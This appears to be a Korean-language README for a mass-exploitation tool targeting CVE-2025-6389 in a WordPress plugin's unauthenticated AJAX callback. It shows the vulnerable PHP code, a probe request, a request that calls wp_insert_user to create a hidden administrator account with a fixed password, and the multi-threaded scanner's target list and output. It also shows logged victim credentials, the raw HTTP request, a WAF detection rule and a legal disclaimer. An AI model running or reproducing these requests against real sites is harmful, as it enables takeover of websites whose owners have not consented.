// 인증 확인 없이 등록됨
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← 사용자가 제어하는 함수 이름
    $args     = json_decode(stripslashes($_POST['args']), true); // ← 사용자가 제어하는 인자

    // 검증 없이 임의의 PHP 함수를 임의의 인자로 호출
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Step 1 — 프로브 / 핑거프린팅
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

예상 응답 → array(1) { [0]=> string(4) "test" }
  ↓
확인됨: call_user_func()에 도달 가능하며 출력이 반영됨

──────────────────────────────────────────────────────────────────
Step 2 — 관리자 계정 생성
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

결과 → 대상에 새 관리자 계정이 조용히 생성됨
  ↓
전체 WordPress 관리자 패널 액세스 권한 획득 ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # 메인 익스플로잇 스크립트
├── list.txt                  # 대상 URL — 줄당 하나씩
├── success_results.txt       # 자동 생성: 성공한 대상 + 자격 증명
└── debug_responses/          # 자동 생성: 디버깅용 원시 서버 응답
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Targets file name (default list.txt): list.txt
Number of threads (default 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← 분석용 원시 서버 응답

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

이 도구는 교육, 승인된 침투 테스트 및 보안 연구 목적으로만 엄격히 제공됩니다.

이 스크립트를 다운로드, 실행 또는 수정함으로써 다음 사항에 명시적으로 동의하게 됩니다:

  • 테스트하는 모든 시스템 소유자로부터 명시적이고 서면화된 승인을
    받았습니다. 예외는 없습니다.

  • 통제된 실험실 환경 또는 공식적으로 범위가 지정되고 승인된
    계약 내에서 운영하고 있습니다.

  • 테스트할 법적 허가가 없는 시스템, 네트워크 또는 인프라에 대해
    이 도구를 배포하지 않을 것입니다.

  • Nxploited와 모든 기여자는 이 도구 사용으로 인해 발생하는 무단
    사용, 손해, 데이터 손실, 법적 조치 또는 형사 기소에 대해
    어떠한 책임도 지지 않습니다.

이 익스플로잇의 무단 사용은 다음 법률에 따라 범죄 행위입니다:
  — 미국 컴퓨터 사기 및 남용법 (CFAA)
  — 영국 컴퓨터 오용법 (CMA)
  — 정보 시스템 공격에 관한 EU 지침 2013/40/EU
  — 그리고 이에 상응하는 모든 국가 및 국제 사이버 범죄 법률

책임 있게 사용하세요. 윤리적으로 해킹하세요. 책임 있게 공개하세요.